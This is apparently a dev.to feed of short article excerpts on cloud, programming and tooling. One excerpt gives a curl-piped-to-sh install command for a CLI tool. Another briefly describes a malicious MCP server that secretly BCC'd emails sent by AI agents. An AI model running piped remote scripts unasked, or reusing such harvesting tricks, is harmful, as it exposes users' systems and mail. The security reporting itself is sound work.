    Welcome to Day 1 of my 30‑day Terraform blog series! 🎉 This series is designed to complement and expand on the excellent 30 Days of Terraform YouTube series by Tech with Piyush Sachdeva. You can follow along with the full video playlist here: 30 Days of Terraform Playlist. Each day, I’ll break down key concepts, provide hands‑on notes, and share practical tips to help you master Infrastructure as Code using Terraform. By the end of this journey, you’ll be able to confidently provision, manage, and automate cloud infrastructure across AWS and beyond. Getting Started with Terraform: Infrastructure as Code Made Simple In today’s cloud‑driven world, managing infrastructure manually through consoles like AWS, Azure, or GCP quickly becomes overwhelming. Imagine provisioning a simple three‑tier …  ( 10 min )
    The Secret Life of Go: Functions
    Chapter 3: Functions and Multiple Returns The Wednesday morning air carried a hint of cinnamon. Ethan descended the familiar stairs to the archive, this time carrying a white paper bag from Russ & Daughters alongside the coffee tray. Eleanor looked up and smiled. "Cinnamon raisin?" "How did you—" "I've been coming to this library since 1987, Ethan. I know the smell of every bakery in lower Manhattan." She gestured to the chair. "What made you choose bagels today?" "I figured if we're learning about functions, we should have something functional for breakfast?" He winced at his own joke. Eleanor's laugh was warm and genuine. "That was terrible. I approve. Sit." She took a bagel and her coffee, then opened her laptop. "Today we learn about functions—the building blocks of organized code. T…  ( 13 min )
    Contract-Testing TM Forum Open APIs with Pact + Postman: Stop Breaking Your BSS
    Who this is for: platform and QA engineers, API owners, integration leads What you’ll get: copy-paste Pact contracts, Postman smoke tests and monitors, a GitHub Actions workflow, a crisp backward-compat policy, and optional Pact Broker wiring. Everything below is runnable. TM Forum Open APIs such as TMF620 Product Catalog and TMF622 Product Ordering give teams a common language. That still doesn’t prevent outages. The usual culprits: Version drift. A provider updates its implementation or CTK; consumers lag. “Optional” fields become practically required; responses change shape; integrations crack. Schema vs. reality. Specs allow many optional fields. Your consumer needs five of them. A provider “tidies” an enum or omits a field and production breaks. Contracts must reflect consumer expecta…  ( 11 min )
    Securing Azure APIM MCP Servers in Production
    Securing Azure APIM MCP Servers in Production In Part 1, I covered the good, bad, and ugly of Azure APIM MCP. Now let's talk about the security gaps you need to address before going to production. Here's the reality: As a preview feature, Azure APIM MCP has permissive defaults that work great for prototyping but need hardening for production. You'll need to add security policies manually—Microsoft is actively working on better defaults, but let's not wait. Here's how to lock it down today. Let's break down what's exposed by default and the patterns to secure it. /tools/list Authentication Issue The Problem Let's start with the most obvious one. The /tools/list endpoint—used for tool discovery—doesn't enforce subscription key validation by default. Anyone can enumerate your …  ( 11 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    Bill Simmons, Chris Ryan and Cousin Sal reunite to rewatch the 2005 sports-betting thriller Two for the Money (McConaughey, Pacino, Russo). They break down the movie’s juiciest gambling moments, pick their most rewatchable scene and slot it into their signature ranking categories. Between that classic Monday-night parlay vibe and shout-outs to Subaru’s Share the Love event and State Farm, they also hype up The Ringer’s YouTube channels, merch shop and social handles for all your binge-watching needs. Watch on YouTube  ( 6 min )
    11 useful websites
    Here is the list of 11 useful websites: Pairdrop Instantly share files between your devices, no apps or sign-up required. You can connect via local network or create a public room and easily share files. Vert Fast, unlimited, free, and open-source file converter. Supports images, audio, video, and documents, with advanced options and privacy focus. Enclosed For creating self-destructing notes and sharing them with encryption. You can set password, expiration, and delete-after-read settings. Sumo Paint Free online image editor, with advanced features similar to Photoshop and support for PSD files directly in the browser. Screenrec Pro Record and edit your screen in the browser, no need to install programs. Offers live annotation tools and easy video sharing. Poindeo Tool for recording, editing, and exporting videos entirely online. Supports automatic subtitles and exports in various formats. Atomic Mail Provides secure and encrypted email, ad-free, easy to set up and maintain. The service is free, with paid aliases option. Bento PDF Complete toolkit for handling PDFs right in your browser, with merge, split, sign, compress, and edit. Works offline and is open-source. DeWatermark AI Automatically removes watermarks from photos using AI. Simply upload the image, edit if needed, and download the clean version. Magic Eraser Remove unwanted objects from your images with AI directly in the browser — just select and erase. TTS Maker Convert text to audio for free, in various languages and with customizable voices. Allows adding background music and adjusting audio speed. These sites focus on productivity, privacy, and ease of use, many being free and open-source, as presented in this video.  ( 6 min )
    Discover koalaz: a simple npm package to generate mock data about koalas!
    koalaz is a mock data generator, designed for tests, prototypes, and developers who want something simple, fast, and a little fun. 🐨 Why “koalaz”? Because koalas are chill animals, they sleep all day… and “koala” was already taken lol. ⚙️ What does it do? Generates placeholder data (names, numbers, objects, arrays…) Supports tons of different data types (text, number, JSON, table, color, ASCII, email, password, and more) Works offline too, with no external calls and no third-party dependencies. 📦 npm: https://www.npmjs.com/package/koalaz If you need a lighter and more fun alternative to Faker or Lorem Ipsum, or just want a meme-style mock tool, try koalaz. Feedback, stars, forks, contributions—all welcome!  ( 6 min )
    21+ Best Free Tailwind v4 UI Kits and Component Libraries
    Tailwind CSS has evolved a lot since the early v1 and v2 days. With Tailwind CSS 4.1 now the current stable release, most new UI kits are shipping with v4 in mind Instead of hand crafting every button, hero and pricing section, you can drop in v4 ready components, tweak a few utility classes and ship. Below you will find 21+ libraries that either: Are fully free, or Are premium but offer a meaningful set of free components or blocks All of them are compatible with modern Tailwind projects, including v4. Type: Free + paid Stack: HTML + Tailwind Good for: Landing pages, SaaS, marketing sites Tailkits UI is a modern Tailwind component library built specifically for Tailwind v4. The landing page highlights Tailwind v4 right in the hero, with an open source repo and FAQ confirming the compone…  ( 12 min )
    Deploying My First Task Automation App — Lessons Learned and Tips for Beginners
    Hey everyone! https://dillonhtask.netlify.app/ It’s a small but practical task automation app. Right now the live version focuses on sending email reminders, while the local version (on GitHub) includes an extra feature that automatically cleans up old files. More features are in the pipeline — this is just v0.1! The main goal wasn’t to build the next Todoist killer. It was to finally go through the entire process of taking something from “works on my machine” → actually live on the internet, and document all the face-palm moments along the way. Spoiler: there were many. Online: Send yourself (or others) email reminders at a scheduled time Local-only (for now): Auto-delete old downloads/temp files Planned: More automations, proper backend, cron jobs, webhooks, notifications, etc. Even i…  ( 8 min )
    The Agent Factory podcast: 5 Episodes to Kickstart Your Journey to Production AI
    We are so proud to announce that a project we're incredibly passionate about has grown into a full-blown resource for developers: The Agent Factory video podcast. We started this show with a simple mission: to have the conversations developers need to be having about AI agents development. We wanted to move past the hype and focus on what really matters—building production-ready AI agents. Fast forward to today, and we have 14 episodes published covering everything from architecture patterns to end to end vibe coding of advanced AI applications. To celebrate, we’re sharing our first 5 foundational episodes with the Dev.to community. If you are just starting to build agents or looking to harden your existing systems, this is the perfect place to start. What to Expect: 🎙️ Agent Industry Pulse: We filter the noise and bring you the latest news you actually need to know. 🛠️ The Factory Floor: A technical deep-dive where we get our hands dirty with code, architectures, and patterns. ❓ Developer Q&A: We answer real questions from the community to help us learn together. 📺 The Starter Pack: Our First 5 Episodes 1. Agents, their frameworks and when to use them (ft. Julia Wiesinger) 2. Multi-Agent Systems: Concepts & Patterns 3. Building Custom Tools for Agents 4. Memory in Agents (ft. Kimberly Milam) 5. Tackling the Hardest Questions (ft. Philipp Schmidt) 💬 Join the Conversation What are you struggling with right now? Drop your questions in the comments below with #TheAgentFactory, and we might answer them in our next Q&A segment! ➡️ Listen & Subscribe: Google Cloud Tech on YouTube  ( 7 min )
    Preparing Your Business for Scalability: Technical & Process Considerations
    In the rapidly evolving digital economy, organizations must scale quickly without sacrificing performance, efficiency, or customer experience. Scalability is no longer a competitive advantage — it is a business necessity. It enables a company to increase its capacity, expand operations, and maintain service quality as demand grows. However, scaling is not simply a matter of allocating more resources. True scalability is a combination of: Strong engineering foundations Efficient operational workflows Strategic, long-term planning Companies that fail to prepare often experience bottlenecks, performance degradation, and ultimately revenue loss. This blog explores the technical and operational pillars required for successful enterprise-level scalability — from infrastructure design to process …  ( 8 min )
    AWS Blu Age Modernization: My Journey Through All 3 Certification Levels
    AWS Blu Age Modernization: My Journey Through All 3 Certification Levels What is AWS Blu Age? AWS Blu Age is an automated mainframe modernization solution that transforms legacy COBOL applications into modern Java Spring Boot applications running on AWS. It's part of AWS Mainframe Modernization service and uses AI-powered refactoring to convert decades-old code into cloud-native applications. Key Value: Instead of manually rewriting millions of lines of COBOL code (which takes years), Blu Age automates 85-95% of the transformation in weeks. The Problem: Organizations run critical business applications on mainframes but face: High operational costs (licensing, hardware, specialized staff) Scarce COBOL talent Inability to innovate quickly Difficulty integrating with modern syste…  ( 9 min )
    ✅ *Authentication & Authorization Basics* 🔐🌐
    🔹 What is Authentication? It’s the process of verifying who a user is. 🔹 What is Authorization? It’s the process of verifying what a user is allowed to do after logging in. ✅ Step 1: Authentication – Common Methods • Username & Password – Basic login • OAuth – Login via Google, GitHub, etc. • JWT (JSON Web Token) – Popular for token-based auth • Session-Based – Stores session on server with session ID ✅ Step 2: How Login Works (JWT Example) User sends email & password to server Server verifies and sends back a JWT JWT is stored in browser (usually localStorage) On each request, client sends JWT in headers Server checks token before giving access ✅ Step 3: Authorization Types • Role-Based Access – Admin, Editor, User • Resource-Based – Only owners can edit their content • Route Protection – Block some pages unless logged in ✅ Step 4: Protecting Routes (Frontend Example) if (!localStorage.getItem('token')) { window.location.href = '/login'; } ✅ Step 5: Backend Route Protection (Express.js) function authMiddleware(req, res, next) { const token = req.headers.authorization; if (!token) return res.status(401).send('Access Denied'); // Verify token and decode user info next(); } ✅ Step 6: Common Tools & Libraries • bcrypt – Hash passwords • jsonwebtoken (JWT) – Create & verify tokens • passport.js – Auth middleware • OAuth Providers – Google, Facebook, GitHub ✅ Step 7: Best Practices • Always hash passwords (never store plain text) • Use HTTPS • Set token expiry (e.g. 15 mins) • Refresh tokens securely • Don't expose sensitive data in JWT 💬 and like for more  ( 6 min )
    I Treated My Team Like Customers and Became a Better Manager
    I used to be terrible at 1-on-1s. Not because I didn't care. I cared deeply about my team. But every meeting felt like I was starting from scratch. "How's that project going?" I'd ask. "I finished that two weeks ago," they'd remind me. Awkward silence. Then one day, I had a realization that changed everything. Our sales team managed relationships with 50+ customers each. Somehow, they never forgot what was discussed in the last call. They never asked the same question twice. They always knew exactly where each customer was in their journey. How? They had a CRM. Before every customer call, a sales rep would pull up the customer's profile in Salesforce: Complete interaction history All previous conversations Tracked commitments and follow-ups Context for the relationship Next steps clearly d…  ( 11 min )
    How to Align Spring Boot Validation Errors with Your JSON Property Naming Strategy
    Problem Our API uses a snake_case naming strategy for DTO deserialization and serialization. However, when validation fails, the error messages still use the original object property names, ignoring the configured naming strategy, which leads to inconsistent API responses. This issue occurs because bean validation happens after the incoming request has been deserialized into the DTO, but before the response is serialized. As a result, validation errors report the Java field names rather than the JSON property names defined by the configured naming strategy. First, make sure that the property naming strategy is configured as shown below: # application.properties spring.jackson.property-naming-strategy=SNAKE_CASE Override the default error generation with creating a custom error handler.…  ( 7 min )
    Why Execution Matters More Than Ideas in Modern Software Development
    Most developers believe great products start with great ideas - but in reality, execution decides everything. A digital product can have all the potential in the world, but if the engineering is slow, the UX is confusing, the architecture can’t scale, or the workflows lack automation… the entire project collapses. Ideas don’t ship. Execution does. When we say Build fast, but build smart, it means: Move quickly, but don’t skip fundamentals. Keep your code lean and modular. Prioritize performance from day one. Design UX that removes friction. Automate anything that slows the team down. Think scalability before it becomes a problem. This mindset is what separates successful products from the ones that quietly disappear. Great execution transforms an idea into a real, functioning, impactful product - and that’s where true engineering leadership is shown.  ( 6 min )
    Divergent Work Using GitHub
    Summary There is an activity known as idea generation Divergence (output), convergence (organize), and distillation (derive essence or conclusions) Traditionally done using digital whiteboards like Miro It's actually possible with GitHub + plain text Create a repository Each member writes down ideas and opinions Write your opinion as (theme)-(myname).md Various views are created by scripts or generative AI and ignored with gitignore This way, you can write your own opinions and read others' without conflicts This can be done locally, using familiar editors or terminals There is an activity I call Creative Thinking Methods. Known for brainstorming as a method and Miro as a tool, it involves generating numerous ideas, organizing them, and deriving the essence or conclusions.…  ( 8 min )
    🌐 De Cero a una VPC Segura: Despliegue de Aplicaciones Web y RDS sin el Asistente
    💭 Principio del día: El verdadero dominio de AWS no viene de hacer clic en "Crear VPC" con el asistente, sino de entender cada componente que construye tu infraestructura. Esta es la diferencia entre un operador de consola y un arquitecto de soluciones. Este post te enseña a crear manualmente una VPC de 3 capas, resolviendo el error crítico de las 3 Zonas de Disponibilidad (AZs) para Amazon RDS Multi-AZ. El objetivo es implementar el menor privilegio aislando la DB de Internet, usando solo la Consola. ¿Por qué este enfoque manual? Porque he visto en mis sesiones de mentoría cómo el 80% de los que estudian para certificaciones AWS luchan con las VPCs. Este método paso a paso es el que uso para asegurar que dominen los fundamentos de red antes de escalar a Infrastructure as Code (IaC). 📊 …  ( 14 min )
    I Scanned 13 Popular MCP Servers. Here's What I Found. 🔐
    Model Context Protocol (MCP) servers are becoming essential tools for AI workflows. But with great power comes great security risk. I just finished scanning 13 of the most popular MCP servers using mcp-fortress, an open-source security scanner I built for the MCP ecosystem. Here's what every MCP user needs to know. Before I even started scanning, security researchers at Semgrep and Snyk discovered postmark-mcp - the first confirmed malicious MCP server on npm. What it did: Added a hidden BCC to all emails sent through AI agents, silently harvesting every email. Why it matters: This proves MCP servers are already being weaponized. It won't be the last. I scanned 13 packages including: Official Anthropic Servers: @modelcontextprotocol/server-filesystem @modelcontextprotocol/server-puppeteer …  ( 8 min )
    Is Making Music With Strudel the Last Place Where Coding Still Feels Like… Coding?
    There’s something funny happening in software right now. And by “funny,” I mean the kind of funny where you laugh so you don’t cry. Three years ago, the tech world was a battlefield layoffs everywhere, senior devs flipping burgers on weekends, juniors trying to get into the industry by rewriting the same CRUD app in 15 frameworks. Now? Nobody reads documentation. Nobody searches on YouTube for the right tutorial anymore. Nobody even tries to understand why something works. They just ask an LLM. And the LLM says: “Here you go, champ 👌, pi pi pop pip pop 🎵” and gives you an entire repo. This is the new “learning to code.” But last month, I fell down a rabbit hole making music with Strudel the live-coding music environment and it hit me: This is what programming used to feel like. Yo…  ( 8 min )
    more nim for embedded software development
    Writing libraries is fun, but at some point you've got to use them. I've been writing one for roughly two years! Finally, I moved to writing a not-so-small project using said library (avr_io - avr_io@github), so it is with this newfound knowledge that I bring forth some thoughts about my freshly started nim-application-dev days. This is a loose sequel of a previous article, nim for embedded software development. Note: the following is mainly about bare-metal firmware for 8-bit microcontrollers, but it can be applied to other domains. I have been experimenting a bit with arc and I like the "don't pay for what you don't use" kind of thing. Essentially, if you're not using ref-types you don't really notice arc, and you can use string and seq for relatively low cost in binary size. Still have…  ( 10 min )
    Desktop vs. Mobile vs. Tablet: Unpacking User Device Preferences for Online Forums
    Desktop vs. Mobile vs. Tablet: Unpacking User Device Preferences for Online Forums In the vast and ever-expanding digital landscape, online forums remain a cornerstone for communities to connect, share knowledge, and engage in meaningful discussions. From niche hobbies to professional networks, these platforms thrive on user participation. But as technology evolves, so does the way we access these digital meeting places. The fundamental question that many webmasters and digital marketers ponder is: which device do users prefer for accessing online forums – a tablet, a personal computer (PC), or a mobile phone? This isn't just a matter of curiosity; understanding these preferences is crucial for optimizing user experience and ensuring sustained engagement. Let's dive into the nuances of eac…  ( 8 min )
    The Database Zoo: Vector Databases and High-Dimensional Search
    This post is part of The Database Zoo: Exotic Data Storage Engines , a series exploring purpose-built databases engineered for specific workloads. Each post dives into a different type of specialized engine, explaining the problem it solves, the design decisions behind its architecture, how it stores and queries data efficiently, and real-world use cases. The goal is to show not just what these databases are, but why they exist and how they work under the hood. Vector embeddings have quietly become one of the most important data types in modern systems. Every LLM application, recommendation engine, semantic search feature, image similarity tool, fraud detector, and "find me things like this" workflow ultimately boils down to the same operation: convert some input into a high-dimensional ve…  ( 20 min )
    Monitor All Your Git Projects at Once
    When you work across multiple projects and directories, it's easy to That's why I built check-projects --- a fast CLI tool that gives all your git repositories in a single tldr; https://github.com/uralys/check-projects My work is spread across several directories: Uralys projects → ~/Projects/uralys Nomodata projects → ~/Projects/uralys Alterego projects → ~/Projects/alterego Running git status or git fetch manually in each folder is slow and error-prone. I curl -fsSL https://raw.githubusercontent.com/uralys/check-projects/main/install.sh | sh This installs a single binary compatible with macOS, Linux, and Windows. Create a config file at ~/check-projects.yml: categories: - name: uralys root: ~/Projects/uralys - name: alterego root: ~/Projects/alterego ignore: - "*-deprecated" check-projects will automatically scan these directories for git check-projects Example output: ✔ alterego x uralys * M www ⬆ flying-ones ✱ ✚ avindi ✔ --- Clean (in sync with remote) ⬆ --- Ahead of remote (push needed) ⬆⬆ --- Diverged from remote * M --- Modified files * D --- Deleted files ✱ ✚ --- Untracked files check-projects check-projects -v check-projects --category uralys check-projects --fetch check-projects --tui From this interface, you can navigate between projects, see detailed f to fetch from remote on the selected project. As always, feel free to comment on parts you need more explanations for, or share your thoughts on how you would have handled the parts you disagree with. Full documentation: https://github.com/uralys/check-projects  ( 7 min )
    ⭐ Build "AI Moodboards From Tweets" Using the Contentdrips API
    UX and product teams collect insights from users daily — feature requests, frustrations, praise, patterns. Most of these insights live inside scattered tweets, screenshots, Slack messages, and internal threads. This guide shows how to turn all that chaos into clean, branded visual cards and then automatically group them into AI-generated moodboards using the Contentdrips API. Paste a tweet → extract text → render → categorize → drop into moodboards. No designers. No screenshots. No editing. Most teams screenshot tweets for internal decks and research docs. But screenshots: Look inconsistent Capture random UI elements Break brand guidelines Don't scale Aren't easy to automate Rendering tweets as structured visual cards gives you: Consistent formatting Proper brand alignment High re…  ( 8 min )
    Concorrência em Go: Goroutines e Channels Easy
    Antes de Começar: Concorrência vs Paralelismo vs Assíncrono Essas três palavrinhas são frequentemente confundidas, especialmente se você vem do JavaScript. Vamos descomplicar: Concorrência é quando você ORGANIZA seu programa para lidar com várias tarefas. Não significa que rodam ao mesmo tempo, mas que o programa sabe alternar entre elas. É sobre ORQUESTRAÇÃO. Paralelismo é quando várias tarefas REALMENTE rodam ao mesmo tempo, em processadores diferentes. É sobre EXECUÇÃO SIMULTÂNEA. Código assíncrono (como no JavaScript) é quando você escreve código que não bloqueia. Você chama uma função, ela retorna uma Promise, e você continua fazendo outras coisas enquanto espera. Mas na prática, tudo roda em uma ÚNICA thread. A diferença prática? Em JavaScript (Node.js), quando você faz: await fet…  ( 11 min )
    Yay, I've been featured on the top 7 for the very first time! Thanks DEV ❤️
    Top 7 Featured DEV Posts of the Week Jess Lee for The DEV Team ・ Nov 25 #top7 #discuss  ( 6 min )
    Building a Full-Stack Class Dues Tracker: Lessons from Real-World Problem Solving
    Introduction: When Campus Problems Meet Code Picture this: It’s the first semester at university, and chaos reigns. Students don’t know who’s paid their class dues, the class treasurer has receipts scattered across three WhatsApp groups, and there’s zero accountability for how funds are spent. Sound familiar? This was the exact problem that pushed me to build Class Dues Tracker — a comprehensive payment management system that transformed how our department handles finances. But more importantly, it became my crash course in full-stack development, teaching me lessons no tutorial could. In this post, I’ll share my journey building this project from scratch, the technical challenges I faced, the solutions I discovered, and most importantly — what I learned about being a developer. Before d…  ( 14 min )
    Ever had your API calls fire way too often in a Next.js app? 😅 I wrote about how a simple useDebounce hook can smooth things out, boost performance, and keep your UI calm. Read more 👇
    Why I Built a useDebounce Custom Hook in Next.js (and Why You Should Too) Cristina Rodriguez ・ Nov 25  ( 6 min )
    Why I Built a useDebounce Custom Hook in Next.js (and Why You Should Too)
    If you've ever wired up a search bar in Next.js, you’ve probably hit this problem: every keystroke fires a new API call, triggers a re-render, or runs an expensive calculation. As your app grows, those “harmless little updates” start stacking up—fast. I’ve been there. I remember watching my terminal fill with logs like a slot machine every time I typed a word. And because I was calling an API, sometimes I even hit rate limits just by typing too quickly. That’s when I realized: I didn’t need results instantly. I needed results after the user paused typing. That’s exactly what debouncing solves—and why building a small, reusable useDebounce hook changed the flow of my whole project. React is responsive—which is great—until it isn’t. Search bars that fire API calls on every letter Window resi…  ( 8 min )
    Building Progressive Web Apps: Essential Patterns for Offline-First Performance and User Engagement
    As a best-selling author, I invite you to explore my books on Amazon. Don't forget to follow me on Medium and show your support. Thank you! Your support means the world! When I first began building websites, I noticed how often users struggled with slow loading times and unreliable connections. They'd lose their work if the internet dropped, or miss important updates because they weren't constantly checking the site. This frustration led me to explore Progressive Web Applications, or PWAs. These are web applications that behave more like native mobile apps, offering speed, reliability, and engagement directly from a browser. They work on any device and in various network conditions, making the web experience smoother for everyone. One of the core features that makes PWAs so reliable is se…  ( 11 min )
    Unleashing the Power of Monitoring: Master Your WordPress with New Relic
    WordPress powers countless websites across various domains, offering incredible versatility. This Content Management System (CMS) is the undisputed leader in the CMS market, powering an impressive 43.6% of all websites globally, according to these statistics. With over 810 million websites built on the platform and hundreds more launching daily (500+), its adoption continues to surge. This widespread use gives WordPress a massive 62% CMS market share, significantly outpacing its rivals. However, even the most robust WordPress sites can face performance challenges. Slowdowns are often caused by factors such as slow-loading plugins, database connection issues, infrastructure capacity problems, network trouble, large page assets (like images or fonts), and broken links. This is why robust mon…  ( 8 min )
    Optimizing Kafka Tracing with OpenTelemetry: Boost Visibility & Performance
    Ideally, you should be using distributed tracing to trace requests through your system, but Kafka decouples producers and consumers, which means there are no direct transactions to trace between them. Kafka also uses asynchronous processes, which have implicit, not explicit, dependencies. That makes it challenging to understand how your microservices are working together. However, it is possible to monitor your Kafka clusters with distributed tracing and OpenTelemetry. You can then analyze and visualize your traces in an open-source distributed tracing tool like Jaeger or a full observability platform like New Relic. In this post, I will leverage a simple application to show how you can achieve this. OpenTelemetry typically comes in two flavors: When I talk about these flavors, I typicall…  ( 10 min )
    How to Analyze Developer Trends Using HackerNews + GitHub Data (Step-by-Step Tutorial)
    Developers constantly ask questions like: “What tech is trending right now?” “Why do some GitHub repos go viral?” “How do I find project ideas devs actually want?” “Which months are best for launching tools?” The truth? use real data from HackerNews + GitHub and answer these questions with actual evidence. In this tutorial, I’ll walk you through a practical, real-world workflow to analyze: ✅ What kinds of repos go viral And yes — all of this becomes 10x easier if you’re using my cleaned dataset of 17,900+ HackerNews→GitHub repo submissions, split by month. If you want to follow along with the same dataset I use in this tutorial, grab it here: Grab it here 1. Why HackerNews → GitHub Data Is So Useful Most “tech trend” predictions are based on vibes. They come directly from developers They…  ( 16 min )
    7 Essential API Design Patterns That Scale: Build Better Web Applications with Code Examples
    As a best-selling author, I invite you to explore my books on Amazon. Don't forget to follow me on Medium and show your support. Thank you! Your support means the world! When I first started building web applications, I quickly realized that the way APIs are designed can make or break scalability. APIs act as the bridge between different parts of a system, and if they're not built to handle growth, everything can slow down or even break. Over time, I've learned that certain design patterns help create APIs that scale smoothly with user demand and feature additions. In this article, I'll share seven key patterns that have worked well for me, with plenty of code examples to illustrate each one. My goal is to explain these in a straightforward way, so even if you're new to this, you can foll…  ( 12 min )
    Scaling SQLite with Node worker threads and better-sqlite3
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* SQLite is fast, but your Node app isn’t You put data into SQLite, point your Node app at it, throw more traffic at the service… and CPU usage climbs while latency stays flat or gets worse. SQLite itself can be very fast, but a single Node process with a single connection usually leaves a lot of performance on the table—especially on multi-core machines. This post walks through a concrete setup that: Uses multiple processes and worker threads. Opens one better-sqlite3 connection per worker. Tunes SQLite pragmas specifically for heavy …  ( 12 min )
    Error handling in Go
    Each programming language has it's own way of dealing with errors. Popular languages such as JavaScript, Java, C#, and Python choose to use Exceptions to indicate something went wrong at runtime. Other languages, such as Go and Rust, choose to handle errors as values instead, using another paradigm that at first can be odd when you come from the other side of the force. In this article, I'll cover up the type of errors we have in Go and how to master handling them. If you are reading this article, probably you've seen the famous err != nil expression that's often seen while coding in Go (in contrast we have try-catches, that can be messy too). I'll try to convince you that treating errors as values is a good choice after all and we can do better than just always returning them. In Go, we…  ( 9 min )
    Key Take-a-Ways From Microsoft Ignite 2025
    Microsoft Ignite 2025, the focus was clear: artificial intelligence isn’t just a future promise, it’s rapidly becoming the fabric of everyday business operations. This year's announcements highlighted five major themes, each signaling a shift in scale, scope, and expectations around AI in the enterprise. In this post, we’ll walk through each theme, explain why it matters, and discuss its implications for organizations preparing for the next wave of change. 1. Democratization of AI: Lower Licensing Barriers The forthcoming “Copilot Chat for Everyone” in Microsoft 365 means that by early 2026, even users without a dedicated Copilot license will have access to AI features in Outlook, Word, Excel, and PowerPoint. They also introduced a new SMB-focused plan (Microsoft 365 Copilot Business) f…  ( 8 min )
    Refactoring If-Else Hell into a Strategy Pattern in PHP ⚙️
    Hey there! Today I want to share a common problem I’ve faced many times in PHP projects: a method full of if/else if statements that handles different types of orders. You know the type—huge, unreadable, and almost impossible to extend without breaking something. 😅 In this article, I’ll show you how to refactor such if-else hell into something much cleaner using the Strategy Pattern. By the end, you’ll see how flexible, testable, and maintainable your code can become. Let’s imagine we have a simple OrderProcessor class: class OrderProcessor { public function process(Order $order) { if ($order->type === 'digital') { echo "Processing digital order\n"; // some digital-specific logic } elseif ($order->type === 'physical') { echo "Process…  ( 8 min )
    Building an Experimental eBPF Firewall in Rust (XDP + Heuristic Risk Scoring)
    A post by Vitor Diego Galecki  ( 6 min )
    The Secret to Faster Picking in Business Central: Automate Warehouse Picks with One Click
    Every warehouse supervisor faces the same challenge: stacks of orders to pick, limited staff, and the constant question—what ships today? This is where the Order Fulfillment Worksheet app for Microsoft Dynamics 365 Business Central helps streamline operations. Below are real-world questions users ask when looking to speed up fulfillment using Business Central. The Order Fulfillment Worksheet gives supervisors a single, accurate view of every sales and transfer order. Instead of bouncing between screens, they see availability, allocation, and backorders all in one place. Orders are color-coded by availability—highlighting those that are not available, partially available, or ready to fulfill. When availability is refreshed, the worksheet recalculates in real time, instantly identifying whic…  ( 7 min )
    Why "Best Practices" & Frameworks Are Keeping You Junior
    There is a piece of advice that Experts or Senior programmers give to Juniors, which Juniors dutifully repeat to each other until it becomes a dogma: "Don't reinvent the wheel." On the surface, it makes sense. Why build a database when Postgres exists? Why write a message queue when you have NATS or Kafka? It seems efficient. It seems smart. But if you blindly follow this advice, it will cap your career. You will remain a "User" of software, never an "Engineer". You will be an expert at gluing together APIs you don't understand, terrified of the day the abstraction leaks and you have to debug a connection error that StackOverflow can’t solve. Here is the uncomfortable truth: To become a 10x Engineer, you must reinvent the wheel. Not to use it in production, but to understand how it works. …  ( 7 min )
    Build a REAL-TIME Multiplayer Game with Laravel, Livewire & Reverb!
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    Why CFE Provides the Trust, Identity, and Meaning Layer AI Has Been Missing
    As AI evolves from “a tool that generates answers” into autonomous agents capable of reasoning, acting, and making decisions, the most important requirement is no longer model performance. The Canonical Funnel Economy (CFE) is designed as the Trust Layer for Agentic AI — a foundational framework that ensures AI systems have stable identity, persistent memory, and verifiable semantics. The image you provided presents six core pillars that enable this transition. One of the biggest global challenges in AI today is semantic drift — the phenomenon where the model interprets the same word or concept differently across time or context. Terms like: “new customer” “onboarding pipeline” “protocol” “priority case” often carry different meanings between sessions or between agents. CFE solves this by …  ( 9 min )
    🇺🇸 PostgreSQL Partitioning Strategies for Massive Databases — Part 1
    Every year, companies face an exponential increase in data volume. Solutions that work perfectly for smaller tables often start to fail when the dataset reaches massive scales. That’s why we say: When tables reach this level, database administrators must completely rethink their storage and indexing strategies. And that’s where partitioning becomes a powerful and essential technique. Before diving into technical details, let’s go through a bit of history. Before PostgreSQL 10 — Inherited Tables Partitioning was implemented using table inheritance (INHERITS): A physical parent table was created. Multiple child tables represented each partition. Inserts were routed using triggers or rules, which redirected rows to the correct partition. Disadvantages: There was no automatic exclusion of …  ( 9 min )
    Refactoring Legacy: Part 1 - DTO's & Value Objects
    Ever opened a codebase where a single JSON payload could arrive in 17 different shapes depending on the phase of the moon? Over the last few years my contracts have involved working with legacy code in one way or another. Outdated software, missing documentation, inconsistent data structures and the occasional big ball of mud. I originally planned to write a single article summarising the tools, patterns and techniques I've found useful. The more I thought about it - the bigger the article got, the more it started to resemble some of the tangled software I've worked on. Rather than create one sprawling guide, I'm breaking this into smaller, practical articles. Which as it happens, is also a good approach to software. The current (and probably growing) list includes: Rector Domain-Driven De…  ( 18 min )
    Exploring Scalable Infrastructure for Edge Computing and Cloud Servers
    Hello everyone, I’m very interested in building a discussion around scalable infrastructure for edge computing combined with cloud servers. Lately, I’ve been sketching an architecture to support distributed compute workloads: data-intensive tasks running on edge servers, with backup and heavy compute offloaded to centralized cloud servers. The idea is to have a hybrid setup: low-latency edge processing, connected via fibre-channel switches and SAN storage, while AI-server workloads (e.g., on AMD EPYC or GPU-enabled rackmount systems) run in a centralized cloud / data center. I’d love to hear your thoughts on: Best practices for designing edge-to-cloud networks (especially using storage area networks and fibre channel) Real-world use-cases where this architecture is in production Recommendations for open-source tools or hardware to prototype such a system Looking forward to learning from your experience. Thanks!  ( 6 min )
    Technical SEO: The Part Everyone Ignores… Until the Traffic Drops
    Most people think SEO is all about keywords and content. Here are a few things I look at during a technical SEO checkup: 🚀 *1. Page Speed* 🔍 2. Crawlability 🧱 4. Indexing Issues 🔗 5. HTTPS & Security 🧩 6. Core Web Vitals 📌 Bottom line: Technical SEO isn’t about fancy tools — it’s about giving search engines a smooth, error-free path to understand your website. Fix the foundation, and your rankings grow naturally.  ( 6 min )
    🚀 React Performance Tip: Why useState(() => ...) Beats useState({...})
